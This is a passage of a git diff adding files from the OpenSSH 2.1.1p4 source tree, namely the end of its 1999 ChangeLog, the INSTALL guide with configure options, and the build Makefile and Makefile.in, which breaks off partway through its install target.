[auth-rhosts.c] move checking of remote port to central place + [log-server.c] avoid extra fd per sshd, from millert@ + [readconf.c] print _all_ bad config-options in ssh(1), too + [readconf.h] print _all_ bad config-options in ssh(1), too + [ssh.c] print _all_ bad config-options in ssh(1), too + [sshconnect.c] disconnect if getpeername() fails + - OpenBSD's changes to sshd.c broke the PAM stuff, re-merged it. + - Various small cleanups to bring diff (against OpenBSD) size down. + - Merged more Solaris compability from Marc G. Fournier + + - Wrote autoconf tests for __progname symbol + - RPM spec file fixes from Jim Knoble + - Released 1.2pre12 + + - Another OpenBSD CVS update: + - [ssh-keygen.1] fix .Xr + +19991114 + - Solaris compilation fixes (still imcomplete) + +19991113 + - Build patch from Niels Kristian Bech Jensen + - Don't install config files if they already exist + - Fix inclusion of additional preprocessor directives from acconfig.h + - Removed redundant inclusions of config.h + - Added 'Obsoletes' lines to RPM spec file + - Merged OpenBSD CVS changes: + - [bufaux.c] save a view malloc/memcpy/memset/free's, ok niels + - [scp.c] fix overflow reported by damien@ibs.com.au: off_t + totalsize, ok niels,aaron + - Delay fork (-f option) in ssh until after port forwarded connections + have been initialised. Patch from Jani Hakala + - Added shadow password patch from Thomas Neumann + - Added ifdefs to auth-passwd.c to exclude it when PAM is enabled + - Tidied default config file some more + - Revised Redhat initscript to fix bug: sshd (re)start would fail + if executed from inside a ssh login. + +19991112 + - Merged changes from OpenBSD CVS + - [sshd.c] session_key_int may be zero + - [auth-rh-rsa.c servconf.c servconf.h ssh.h sshd.8 sshd.c sshd_config] + IgnoreUserKnownHosts(default=no), used for RhostRSAAuth, ok + deraadt,millert + - Brought default sshd_config more in line with OpenBSD's + - Grab server in gnome-ssh-askpass (Debian bug #49872) + - Released 1.2pre10 + + - Added INSTALL documentation + - Merged yet more changes from OpenBSD CVS + - [auth-rh-rsa.c auth-rhosts.c auth-rsa.c channels.c clientloop.c] + [ssh.c ssh.h sshconnect.c sshd.c] + make all access to options via 'extern Options options' + and 'extern ServerOptions options' respectively; + options are no longer passed as arguments: + * make options handling more consistent + * remove #include "readconf.h" from ssh.h + * readconf.h is only included if necessary + - [mpaux.c] clear temp buffer + - [servconf.c] print _all_ bad options found in configfile + - Make ssh-askpass support optional through autoconf + - Fix nasty division-by-zero error in scp.c + - Released 1.2pre11 + +19991111 + - Added (untested) Entropy Gathering Daemon (EGD) support + - Fixed /dev/urandom fd leak (Debian bug #49722) + - Merged OpenBSD CVS changes: + - [auth-rh-rsa.c] user/958: check ~/.ssh/known_hosts for rhosts-rsa, too + - [ssh.1] user/958: check ~/.ssh/known_hosts for rhosts-rsa, too + - [sshd.8] user/958: check ~/.ssh/known_hosts for rhosts-rsa, too + - Fix integer overflow which was messing up scp's progress bar for large + file transfers. Fix submitted to OpenBSD developers. Report and fix + from Kees Cook + - Merged more OpenBSD CVS changes: + - [auth-krb4.c auth-passwd.c] remove x11- and krb-cleanup from fatal() + + krb-cleanup cleanup + - [clientloop.c log-client.c log-server.c ] + [readconf.c readconf.h servconf.c servconf.h ] + [ssh.1 ssh.c ssh.h sshd.8] + add LogLevel {QUIET, FATAL, ERROR, INFO, CHAT, DEBUG} to ssh/sshd, + obsoletes QuietMode and FascistLogging in sshd. + - [sshd.c] fix fatal/assert() bug reported by damien@ibs.com.au: + allow session_key_int != sizeof(session_key) + [this should fix the pre-assert-removal-core-files] + - Updated default config file to use new LogLevel option and to improve + readability + +19991110 + - Merged several minor fixes: + - ssh-agent commandline parsing + - RPM spec file now installs ssh setuid root + - Makefile creates libdir + - Merged beginnings of Solaris compability from Marc G. Fournier + + +19991109 + - Autodetection of SSL/Crypto library location via autoconf + - Fixed location of ssh-askpass to follow autoconf + - Integrated Makefile patch from Niels Kristian Bech Jensen + - Autodetection of RSAref library for US users + - Minor doc updates + - Merged OpenBSD CVS changes: + - [rsa.c] bugfix: use correct size for memset() + - [sshconnect.c] warn if announced size of modulus 'n' != real size + - Added GNOME passphrase requestor (use --with-gnome-askpass) + - RPM build now creates subpackages + - Released 1.2pre9 + +19991108 + - Removed debian/ directory. This is now being maintained separately. + - Added symlinks for slogin in RPM spec file + - Fixed permissions on manpages in RPM spec file + - Added references to required libraries in README file + - Removed config.h.in from CVS + - Removed pwdb support (better pluggable auth is provided by glibc) + - Made PAM and requisite libdl optional + - Removed lots of unnecessary checks from autoconf + - Added support and autoconf test for openpty() function (Unix98 pty support) + - Fix for scp not finding ssh if not installed as /usr/bin/ssh + - Added TODO file + - Merged parts of Debian patch From Phil Hands : + - Added ssh-askpass program + - Added ssh-askpass support to ssh-add.c + - Create symlinks for slogin on install + - Fix "distclean" target in makefile + - Added example for ssh-agent to manpage + - Added support for PAM_TEXT_INFO messages + - Disable internal /etc/nologin support if PAM enabled + - Merged latest OpenBSD CVS changes: + - [all] replace assert() with error, fatal or packet_disconnect + - [sshd.c] don't send fail-msg but disconnect if too many authentication + failures + - [sshd.c] remove unused argument. ok dugsong + - [sshd.c] typo + - [rsa.c] clear buffers used for encryption. ok: niels + - [rsa.c] replace assert() with error, fatal or packet_disconnect + - [auth-krb4.c] remove unused argument. ok dugsong + - Fixed coredump after merge of OpenBSD rsa.c patch + - Released 1.2pre8 + +19991102 + - Merged change from OpenBSD CVS + - One-line cleanup in sshd.c + +19991030 + - Integrated debian package support from Dan Brosemer + - Merged latest updates for OpenBSD CVS: + - channels.[ch] - remove broken x11 fix and document istate/ostate + - ssh-agent.c - call setsid() regardless of argv[] + - ssh.c - save a few lines when disabling rhosts-{rsa-}auth + - Documentation cleanups + - Renamed README -> README.Ylonen + - Renamed README.openssh ->README + +19991029 + - Renamed openssh* back to ssh* at request of Theo de Raadt + - Incorporated latest changes from OpenBSD's CVS + - Integrated Makefile patch from Niels Kristian Bech Jensen + - Integrated PAM env patch from Nalin Dahyabhai + - Make distclean now removed configure script + - Improved PAM logging + - Added some debug() calls for PAM + - Removed redundant subdirectories + - Integrated part of a patch from Dan Brosemer for + building on Debian. + - Fixed off-by-one error in PAM env patch + - Released 1.2pre6 + +19991028 + - Further PAM enhancements. + - Much cleaner + - Now uses account and session modules for all logins. + - Integrated patch from Dan Brosemer + - Build fixes + - Autoconf + - Change binary names to open* + - Fixed autoconf script to detect PAM on RH6.1 + - Added tests for libpwdb, and OpenBSD functions to autoconf + - Released 1.2pre4 + + - Imported latest OpenBSD CVS code + - Updated README.openssh + - Released 1.2pre5 + +19991027 + - Adapted PAM patch. + - Released 1.0pre2 + + - Excised my buggy replacements for strlcpy and mkdtemp + - Imported correct OpenBSD strlcpy and mkdtemp routines. + - Reduced arc4random_stir entropy read to 32 bytes (256 bits) + - Picked up correct version number from OpenBSD + - Added sshd.pam PAM configuration file + - Added sshd.init Redhat init script + - Added openssh.spec RPM spec file + - Released 1.2pre3 + +19991026 + - Fixed include paths of OpenSSL functions + - Use OpenSSL MD5 routines + - Imported RC4 code from nanocrypt + - Wrote replacements for OpenBSD arc4random* functions + - Wrote replacements for strlcpy and mkdtemp + - Released 1.0pre1 diff --git a/other/openssh-2.1.1p4/INSTALL b/other/openssh-2.1.1p4/INSTALL new file mode 100644 index 0000000..d95ea4e --- /dev/null +++ b/other/openssh-2.1.1p4/INSTALL @@ -0,0 +1,192 @@ +1. Prerequisites +---------------- + +You will need working installations of Zlib and OpenSSL. + +Zlib: +http://www.freesoftware.com/pub/infozip/zlib/ + +OpenSSL 0.9.5a or greater: +http://www.openssl.org/ + +RPMs of OpenSSL are available at http://violet.ibs.com.au/openssh/files/support + +OpenSSH can utilise Pluggable Authentication Modules (PAM) if your system +supports it. PAM is standard on Redhat and Debian Linux and on Solaris. + +PAM: +http://www.kernel.org/pub/linux/libs/pam/ + +If you wish to build the GNOME passphrase requester, you will need the GNOME +libraries and headers. + +GNOME: +http://www.gnome.org/ + +Alternatively, Jim Knoble has written an excellent X11 +passphrase requester. This is maintained separately at: + +http://www.ntrnet.net/~jmknoble/software/x11-ssh-askpass/index.html + +The Entropy Gathering Daemon (EGD) is supported if you have a system which +lacks /dev/random and don't want to use OpenSSH's internal entropy collection. + +EGD: +http://www.lothar.com/tech/crypto/ + +GNU Make: +ftp://ftp.gnu.org/gnu/make/ + +OpenSSH has only been tested with GNU make. It may work with other +'make' programs, but you are on your own. + +2. Building / Installation +-------------------------- + +To install OpenSSH with default options: + +./configure +make +make install + +This will install the OpenSSH binaries in /usr/local/bin, configuration files +in /usr/local/etc, the server in /usr/local/sbin, etc. To specify a different +installation prefix, use the --prefix option to configure: + +./configure --prefix=/opt +make +make install + +Will install OpenSSH in /opt/{bin,etc,lib,sbin}. You can also override +specific paths, for example: + +./configure --prefix=/opt --sysconfdir=/etc/ssh +make +make install + +This will install the binaries in /opt/{bin,lib,sbin}, but will place the +configuration files in /etc/ssh. + +If you are using PAM, you will need to manually install a PAM +control file as "/etc/pam.d/sshd" (or wherever your system +prefers to keep them). A generic PAM configuration is included as +"contrib/sshd.pam.generic", you may need to edit it before using it on +your system. If you are using a recent version of Redhat Linux, the +config file in contrib/redhat/sshd.pam should be more useful. +Failure to install a valid PAM file may result in an inability to +use password authentication. + +There are a few other options to the configure script: + +--with-rsh=PATH allows you to specify the path to your rsh program. +Normally ./configure will search the current $PATH for 'rsh'. You +may need to specify this option if rsh is not in your path or has a +different name. + +--without-pam will disable PAM support. PAM is automatically detected +and switched on if found. + +--enable-gnome-askpass will build the GNOME passphrase dialog. You +need a working installation of GNOME, including the development +headers, for this to work. + +--with-random=/some/file allows you to specify an alternate source of +random numbers (the default is /dev/urandom). Unless you are absolutely +sure of what you are doing, it is best to leave this alone. + +--with-egd-pool=/some/file allows you to enable Entropy Gathering +Daemon support and to specify a EGD pool socket. Use this if your +Unix lacks /dev/random and you don't want to use OpenSSH's builtin +entropy collection support. + +--with-lastlog=FILE will specify the location of the lastlog file. +./configure searches a few locations for lastlog, but may not find +it if lastlog is installed in a different place. + +--without-lastlog will disable lastlog support entirely. + +--with-kerberos4=PATH will enable Kerberos IV support. You will need +to have the Kerberos libraries and header files installed for this +to work. Use the optional PATH argument to specify the root of your +Kerberos installation. + +--with-afs=PATH will enable AFS support. You will need to have the +Kerberos IV and the AFS libraries and header files installed for this +to work. Use the optional PATH argument to specify the root of your +AFS installation. AFS requires Kerberos support to be enabled. + +--with-skey will enable S/Key one time password support. You will need +the S/Key libraries and header files installed for this to work. + +--with-tcp-wrappers will enable TCP Wrappers (/etc/hosts.allow|deny) +support. You will need libwrap.a and tcpd.h installed. + +--with-md5-passwords will enable the use of MD5 passwords. Enable this +if your operating system uses MD5 passwords without using PAM. + +--with-utmpx enables utmpx support. utmpx support is automatic for +some platforms. + +--without-shadow disables shadow password support. + +--with-ipaddr-display forces the use of a numeric IP address in the +$DISPLAY environment variable. Some broken systems need this. + +--with-default-path=PATH allows you to specify a default $PATH for sessions +started by sshd. This replaces the standard path entirely. + +--with-pid-dir=PATH specifies the directory in which the ssh.pid file is +created. + +--with-xauth=PATH specifies the location of the xauth binary + +--with-ipv4-default instructs OpenSSH to use IPv4 by default for new +connections. Normally OpenSSH will try attempt to lookup both IPv6 and +IPv4 addresses. On Linux/glibc-2.1.2 this causes long delays in name +resolution. If this option is specified, you can still attempt to +connect to IPv6 addresses using the command line option '-6'. + +--with-ssl-dir=DIR allows you to specify where your OpenSSL libraries +are installed. + +--with-4in6 Check for IPv4 in IPv6 mapped addresses and convert them to +real (AF_INET) IPv4 addresses. Works around some quirks on Linux. + +If you need to pass special options to the compiler or linker, you +can specify these as environment variables before running ./configure. +For example: + +CFLAGS="-O -m486" LFLAGS="-s" LIBS="-lrubbish" LD="/usr/foo/ld" ./configure + +3. Configuration +---------------- + +The runtime configuration files are installed by in ${prefix}/etc or +whatever you specified as your --sysconfdir (/usr/local/etc by default). + +The default configuration should be instantly usable, though you should +review it to ensure that it matches your security requirements. + +To generate a host key, run "make host-key". Alternately you can do so +manually using the following commands: + + ssh-keygen -b 1024 -f /etc/ssh/ssh_host_key -N "" + ssh-keygen -d -f /etc/ssh/ssh_host_dsa_key -N "" + +Replacing /etc/ssh with the correct path to the configuration directory. +(${prefix}/etc or whatever you specified with --sysconfdir during +configuration) + +If you have configured OpenSSH with EGD support, ensure that EGD is +running and has collected some Entropy. + +For more information on configuration, please refer to the manual pages +for sshd, ssh and ssh-agent. + +4. Problems? +------------ + +If you experience problems compiling, installing or running OpenSSH. +Please refer to the "reporting bugs" section of the webpage at +http://www.openssh.com/ + diff --git a/other/openssh-2.1.1p4/Makefile b/other/openssh-2.1.1p4/Makefile new file mode 100644 index 0000000..93254cc --- /dev/null +++ b/other/openssh-2.1.1p4/Makefile @@ -0,0 +1,198 @@ +# Generated automatically from Makefile.in by configure. +prefix=/usr/local +exec_prefix=${prefix} +bindir=${exec_prefix}/bin +sbindir=${exec_prefix}/sbin +libexecdir=${exec_prefix}/libexec +mandir=${prefix}/man +mansubdir=man +sysconfdir=${prefix}/etc +piddir=/var/run +srcdir=. +top_srcdir=. + +DESTDIR= + + +SSH_PROGRAM=${exec_prefix}/bin/ssh +ASKPASS_LOCATION=${exec_prefix}/libexec/ssh +ASKPASS_PROGRAM=$(ASKPASS_LOCATION)/ssh-askpass + +CC=gcc +LD=gcc +PATHS=-DETCDIR=\"$(sysconfdir)\" -DSSH_PROGRAM=\"$(SSH_PROGRAM)\" -DSSH_ASKPASS_DEFAULT=\"$(ASKPASS_PROGRAM)\" +CFLAGS=-g -O2 -Wall $(PATHS) -DHAVE_CONFIG_H +LIBS=-ldl -lnsl -lz -lutil -lpam -lcrypto +AR=ar +RANLIB=ranlib +INSTALL=/usr/bin/ginstall -c +PERL=/usr/bin/perl +ENT= +LDFLAGS=-L. + +INSTALL_SSH_PRNG_CMDS= + +TARGETS=ssh sshd ssh-add ssh-keygen ssh-agent scp $(EXTRA_TARGETS) + +LIBSSH_OBJS=atomicio.o authfd.o authfile.o aux.o bufaux.o buffer.o canohost.o channels.o cipher.o compat.o compress.o crc32.o deattack.o dispatch.o dsa.o fingerprint.o hmac.o hostfile.o key.o kex.o log.o match.o mpaux.o nchan.o packet.o radix.o entropy.o readpass.o rsa.o tildexpand.o ttymodes.o uidswap.o uuencode.o xmalloc.o + +LIBOPENBSD_COMPAT_OBJS=bsd-base64.o bsd-bindresvport.o bsd-daemon.o bsd-inet_aton.o bsd-misc.o bsd-mktemp.o bsd-rresvport.o bsd-setenv.o bsd-sigaction.o bsd-snprintf.o bsd-strlcat.o bsd-strlcpy.o bsd-strsep.o fake-getaddrinfo.o fake-getnameinfo.o next-posix.o + +SSHOBJS= ssh.o sshconnect.o sshconnect1.o sshconnect2.o log-client.o readconf.o clientloop.o + +SSHDOBJS= sshd.o auth.o auth1.o auth2.o auth-rhosts.o auth-options.o auth-krb4.o auth-pam.o auth-passwd.o auth-rsa.o auth-rh-rsa.o pty.o log-server.o login.o loginrec.o servconf.o serverloop.o md5crypt.o session.o + +TROFFMAN = scp.1 ssh-add.1 ssh-agent.1 ssh-keygen.1 ssh.1 sshd.8 +CATMAN = scp.0 ssh-add.0 ssh-agent.0 ssh-keygen.0 ssh.0 sshd.0 +MANPAGES = $(TROFFMAN) + +CONFIGFILES=sshd_config ssh_config + +PATHSUBS = -D/etc/ssh_config=$(sysconfdir)/ssh_config -D/etc/known_hosts=$(sysconfdir)/ssh_known_hosts -D/etc/sshd_config=$(sysconfdir)/sshd_config -D/etc/shosts.equiv=$(sysconfdir)/shosts.equiv -D/etc/ssh_host_key=$(sysconfdir)/ssh_host_key -D/var/run/sshd.pid=$(piddir)/sshd.pid + +FIXPATHSCMD = $(PERL) $(srcdir)/fixpaths $(PATHSUBS) + +all: $(TARGETS) $(CONFIGFILES) + +manpages: $(MANPAGES) + +$(LIBSSH_OBJS): config.h + +$(LIBOPENBSD_COMPAT_OBJS): config.h + +libopenbsd-compat.a: $(LIBOPENBSD_COMPAT_OBJS) + $(AR) rv $@ $(LIBOPENBSD_COMPAT_OBJS) + $(RANLIB) $@ + +libssh.a: $(LIBSSH_OBJS) + $(AR) rv $@ $(LIBSSH_OBJS) + $(RANLIB) $@ + +ssh: libopenbsd-compat.a libssh.a $(SSHOBJS) + $(LD) -o $@ $(SSHOBJS) $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +sshd: libssh.a libopenbsd-compat.a $(SSHDOBJS) + $(LD) -o $@ $(SSHDOBJS) $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +scp: libopenbsd-compat.a libssh.a scp.o + $(LD) -o $@ scp.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +ssh-add: libopenbsd-compat.a libssh.a ssh-add.o log-client.o + $(LD) -o $@ ssh-add.o log-client.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +ssh-agent: libopenbsd-compat.a libssh.a ssh-agent.o log-client.o + $(LD) -o $@ ssh-agent.o log-client.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +ssh-keygen: libopenbsd-compat.a libssh.a ssh-keygen.o log-client.o + $(LD) -o $@ ssh-keygen.o log-client.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +# test driver for the loginrec code - not built by default +logintest: logintest.o libopenbsd-compat.a libssh.a log-client.o loginrec.o + $(LD) -o $@ logintest.o $(LDFLAGS) loginrec.o -lopenbsd-compat -lssh log-client.o $(LIBS) + +$(MANPAGES) $(CONFIGFILES):: + $(FIXPATHSCMD) $(srcdir)/$@ + +clean: + rm -f *.o *.a $(TARGETS) logintest config.cache config.log + rm -f *.out core + +distclean: clean + rm -f Makefile config.h config.status ssh_prng_cmds *~ + +mrproper: distclean + +veryclean: distclean + rm -f configure config.h.in *.0 + +catman-do: + @for f in $(TROFFMAN) ; do \ + echo "$$f -> $${f%%.[18]}.0" ; \ + nroff -mandoc $$f | cat -v | sed -e 's/.\^H//g' \ + >$${f%%.[18]}.0 ; \ + done + +distprep: catman-do + autoreconf + +install: manpages $(TARGETS) install-files host-key + +install-files: + ./mkinstalldirs $(DESTDIR)$(bindir) + ./mkinstalldirs $(DESTDIR)$(sbindir) + ./mkinstalldirs $(DESTDIR)$(mandir) + ./mkinstalldirs $(DESTDIR)$(mandir)/$(mansubdir)1 + ./mkinstalldirs $(DESTDIR)$(mandir)/$(mansubdir)8 + $(INSTALL) -m 4755 -s ssh $(DESTDIR)$(bindir)/ssh + $(INSTALL) -s scp $(DESTDIR)$(bindir)/scp + $(INSTALL) -s ssh-add $(DESTDIR)$(bindir)/ssh-add + $(INSTALL) -s ssh-agent $(DESTDIR)$(bindir)/ssh-agent + $(INSTALL) -s ssh-keygen $(DESTDIR)$(bindir)/ssh-keygen + $(INSTALL) -s sshd $(DESTDIR)$(sbindir)/sshd + $(INSTALL) -m 644 ssh.[01].out $(DESTDIR)$(mandir)/$(mansubdir)1/ssh.1 + $(INSTALL) -m 644 scp.[01].out $(DESTDIR)$(mandir)/$(mansubdir)1/scp.1 + $(INSTALL) -m 644 ssh-add.[01].out $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-add.1 + $(INSTALL) -m 644 ssh-agent.[01].out $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-agent.1 + $(INSTALL) -m 644 ssh-keygen.[01].out $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-keygen.1 + $(INSTALL) -m 644 sshd.[08].out $(DESTDIR)$(mandir)/$(mansubdir)8/sshd.8 + -rm -f $(DESTDIR)$(bindir)/slogin + ln -s ssh $(DESTDIR)$(bindir)/slogin + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/slogin.1 + ln -s ssh.1 $(DESTDIR)$(mandir)/$(mansubdir)1/slogin.1 + if [ ! -f $(DESTDIR)$(sysconfdir)/ssh_config -a ! -f $(DESTDIR)$(sysconfdir)/sshd_config ]; then \ + ./mkinstalldirs $(DESTDIR)$(sysconfdir); \ + $(INSTALL) -m 644 ssh_config.out $(DESTDIR)$(sysconfdir)/ssh_config; \ + $(INSTALL) -m 644 sshd_config.out $(DESTDIR)$(sysconfdir)/sshd_config; \ + fi + if [ -f ssh_prng_cmds -a ! -z "$(INSTALL_SSH_PRNG_CMDS)" ]; then \ + $(PERL) fixprogs ssh_prng_cmds $(ENT); \ + $(INSTALL) -m 644 ssh_prng_cmds.out $(DESTDIR)$(sysconfdir)/ssh_prng_cmds; \ + fi + +host-key: ssh-keygen + if [ -z "$(DESTDIR)" ] ; then \ + if [ -f "$(DESTDIR)$(sysconfdir)/ssh_host_key" ] ; then \ + echo "$(DESTDIR)$(sysconfdir)/ssh_host_key already exists, skipping." ; \ + else \ + ./ssh-keygen -b 1024 -f $(DESTDIR)$(sysconfdir)/ssh_host_key -N "" ; \ + fi ; \ + if [ -f $(DESTDIR)$(sysconfdir)/ssh_host_dsa_key ] ; then \ + echo "$(DESTDIR)$(sysconfdir)/ssh_host_dsa_key already exists, skipping." ; \ + else \ + ./ssh-keygen -d -f $(DESTDIR)$(sysconfdir)/ssh_host_dsa_key -N "" ; \ + fi ; \ + fi ; + +host-key-force: ssh-keygen + ./ssh-keygen -b 1024 -f $(DESTDIR)$(sysconfdir)/ssh_host_key -N "" + ./ssh-keygen -d -f $(DESTDIR)$(sysconfdir)/ssh_host_dsa_key -N "" + +uninstallall: uninstall + -rm -f $(DESTDIR)$(sysconfdir)/ssh_config + -rm -f $(DESTDIR)$(sysconfdir)/sshd_config + -rm -f $(DESTDIR)$(sysconfdir)/ssh_prng_cmds + -rmdir $(DESTDIR)$(sysconfdir) + -rmdir $(DESTDIR)$(bindir) + -rmdir $(DESTDIR)$(sbindir) + -rmdir $(DESTDIR)$(mandir)/$(mansubdir)1 + -rmdir $(DESTDIR)$(mandir)/$(mansubdir)8 + -rmdir $(DESTDIR)$(mandir) + -rmdir $(DESTDIR)$(libexecdir) + +uninstall: + -rm -f $(DESTDIR)$(bindir)/ssh + -rm -f $(DESTDIR)$(bindir)/scp + -rm -f $(DESTDIR)$(bindir)/ssh-add + -rm -f $(DESTDIR)$(bindir)/ssh-agent + -rm -f $(DESTDIR)$(bindir)/ssh-keygen + -rm -f $(DESTDIR)$(sbindir)/sshd + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/ssh.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/scp.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-add.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-agent.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-keygen.1 + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)8/sshd.8 + -rm -f $(DESTDIR)$(bindir)/slogin + -rm -f $(DESTDIR)$(mandir)/$(mansubdir)1/slogin.1 + -rm -f $(DESTDIR)${ASKPASS_PROGRAM} + -rmdir $(DESTDIR)$(libexecdir)/ssh ; diff --git a/other/openssh-2.1.1p4/Makefile.in b/other/openssh-2.1.1p4/Makefile.in new file mode 100644 index 0000000..8954f83 --- /dev/null +++ b/other/openssh-2.1.1p4/Makefile.in @@ -0,0 +1,198 @@ +prefix=@prefix@ +exec_prefix=@exec_prefix@ +bindir=@bindir@ +sbindir=@sbindir@ +libexecdir=@libexecdir@ +mandir=@mandir@ +mansubdir=@mansubdir@ +sysconfdir=@sysconfdir@ +piddir=@piddir@ +srcdir=@srcdir@ +top_srcdir=@top_srcdir@ + +DESTDIR= + +VPATH=@srcdir@ + +SSH_PROGRAM=@bindir@/ssh +ASKPASS_LOCATION=@libexecdir@/ssh +ASKPASS_PROGRAM=$(ASKPASS_LOCATION)/ssh-askpass + +CC=@CC@ +LD=@LD@ +PATHS=-DETCDIR=\"$(sysconfdir)\" -DSSH_PROGRAM=\"$(SSH_PROGRAM)\" -DSSH_ASKPASS_DEFAULT=\"$(ASKPASS_PROGRAM)\" +CFLAGS=@CFLAGS@ $(PATHS) @DEFS@ +LIBS=@LIBS@ +AR=@AR@ +RANLIB=@RANLIB@ +INSTALL=@INSTALL@ +PERL=@PERL@ +ENT=@ENT@ +LDFLAGS=-L. @LDFLAGS@ + +INSTALL_SSH_PRNG_CMDS=@INSTALL_SSH_PRNG_CMDS@ + +TARGETS=ssh sshd ssh-add ssh-keygen ssh-agent scp $(EXTRA_TARGETS) + +LIBSSH_OBJS=atomicio.o authfd.o authfile.o aux.o bufaux.o buffer.o canohost.o channels.o cipher.o compat.o compress.o crc32.o deattack.o dispatch.o dsa.o fingerprint.o hmac.o hostfile.o key.o kex.o log.o match.o mpaux.o nchan.o packet.o radix.o entropy.o readpass.o rsa.o tildexpand.o ttymodes.o uidswap.o uuencode.o xmalloc.o + +LIBOPENBSD_COMPAT_OBJS=bsd-base64.o bsd-bindresvport.o bsd-daemon.o bsd-inet_aton.o bsd-misc.o bsd-mktemp.o bsd-rresvport.o bsd-setenv.o bsd-sigaction.o bsd-snprintf.o bsd-strlcat.o bsd-strlcpy.o bsd-strsep.o fake-getaddrinfo.o fake-getnameinfo.o next-posix.o + +SSHOBJS= ssh.o sshconnect.o sshconnect1.o sshconnect2.o log-client.o readconf.o clientloop.o + +SSHDOBJS= sshd.o auth.o auth1.o auth2.o auth-rhosts.o auth-options.o auth-krb4.o auth-pam.o auth-passwd.o auth-rsa.o auth-rh-rsa.o pty.o log-server.o login.o loginrec.o servconf.o serverloop.o md5crypt.o session.o + +TROFFMAN = scp.1 ssh-add.1 ssh-agent.1 ssh-keygen.1 ssh.1 sshd.8 +CATMAN = scp.0 ssh-add.0 ssh-agent.0 ssh-keygen.0 ssh.0 sshd.0 +MANPAGES = @MANTYPE@ + +CONFIGFILES=sshd_config ssh_config + +PATHSUBS = -D/etc/ssh_config=$(sysconfdir)/ssh_config -D/etc/known_hosts=$(sysconfdir)/ssh_known_hosts -D/etc/sshd_config=$(sysconfdir)/sshd_config -D/etc/shosts.equiv=$(sysconfdir)/shosts.equiv -D/etc/ssh_host_key=$(sysconfdir)/ssh_host_key -D/var/run/sshd.pid=$(piddir)/sshd.pid + +FIXPATHSCMD = $(PERL) $(srcdir)/fixpaths $(PATHSUBS) + +all: $(TARGETS) $(CONFIGFILES) + +manpages: $(MANPAGES) + +$(LIBSSH_OBJS): config.h + +$(LIBOPENBSD_COMPAT_OBJS): config.h + +libopenbsd-compat.a: $(LIBOPENBSD_COMPAT_OBJS) + $(AR) rv $@ $(LIBOPENBSD_COMPAT_OBJS) + $(RANLIB) $@ + +libssh.a: $(LIBSSH_OBJS) + $(AR) rv $@ $(LIBSSH_OBJS) + $(RANLIB) $@ + +ssh: libopenbsd-compat.a libssh.a $(SSHOBJS) + $(LD) -o $@ $(SSHOBJS) $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +sshd: libssh.a libopenbsd-compat.a $(SSHDOBJS) + $(LD) -o $@ $(SSHDOBJS) $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +scp: libopenbsd-compat.a libssh.a scp.o + $(LD) -o $@ scp.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +ssh-add: libopenbsd-compat.a libssh.a ssh-add.o log-client.o + $(LD) -o $@ ssh-add.o log-client.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +ssh-agent: libopenbsd-compat.a libssh.a ssh-agent.o log-client.o + $(LD) -o $@ ssh-agent.o log-client.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +ssh-keygen: libopenbsd-compat.a libssh.a ssh-keygen.o log-client.o + $(LD) -o $@ ssh-keygen.o log-client.o $(LDFLAGS) -lssh -lopenbsd-compat $(LIBS) + +# test driver for the loginrec code - not built by default +logintest: logintest.o libopenbsd-compat.a libssh.a log-client.o loginrec.o + $(LD) -o $@ logintest.o $(LDFLAGS) loginrec.o -lopenbsd-compat -lssh log-client.o $(LIBS) + +$(MANPAGES) $(CONFIGFILES):: + $(FIXPATHSCMD) $(srcdir)/$@ + +clean: + rm -f *.o *.a $(TARGETS) logintest config.cache config.log + rm -f *.out core + +distclean: clean + rm -f Makefile config.h config.status ssh_prng_cmds *~ + +mrproper: distclean + +veryclean: distclean + rm -f configure config.h.in *.0 + +catman-do: + @for f in $(TROFFMAN) ; do \ + echo "$$f -> $${f%%.[18]}.0" ; \ + nroff -mandoc $$f | cat -v | sed -e 's/.\^H//g' \ + >$${f%%.[18]}.0 ; \ + done + +distprep: catman-do + autoreconf + +install: manpages $(TARGETS) install-files host-key + +install-files: + ./mkinstalldirs $(DESTDIR)$(bindir) + ./mkinstalldirs $(DESTDIR)$(sbindir) + ./mkinstalldirs $(DESTDIR)$(mandir) + ./mkinstalldirs $(DESTDIR)$(mandir)/$(mansubdir)1 + ./mkinstalldirs $(DESTDIR)$(mandir)/$(mansubdir)8 + $(INSTALL) -m 4755 -s ssh $(DESTDIR)$(bindir)/ssh + $(INSTALL) -s scp $(DESTDIR)$(bindir)/scp + $(INSTALL) -s ssh-add $(DESTDIR)$(bindir)/ssh-add + $(INSTALL) -s ssh-agent $(DESTDIR)$(bindir)/ssh-agent + $(INSTALL) -s ssh-keygen $(DESTDIR)$(bindir)/ssh-keygen + $(INSTALL) -s sshd $(DESTDIR)$(sbindir)/sshd + $(INSTALL) -m 644 ssh.[01].out $(DESTDIR)$(mandir)/$(mansubdir)1/ssh.1 + $(INSTALL) -m 644 scp.[01].out $(DESTDIR)$(mandir)/$(mansubdir)1/scp.1 + $(INSTALL) -m 644 ssh-add.[01].out $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-add.1 + $(INSTALL) -m 644 ssh-agent.[01].out $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-agent.1 + $(INSTALL) -m 644 ssh-keygen.[01].out $(DESTDIR)$(mandir)/$(mansubdir)1/ssh-keygen.1 + $(INSTALL) -m 644 sshd.[08].out $(DESTDIR)$(mandir)/$(mansubdir)8/sshd.8 + -rm -f $(DESTDIR)$(bindir)/slogin 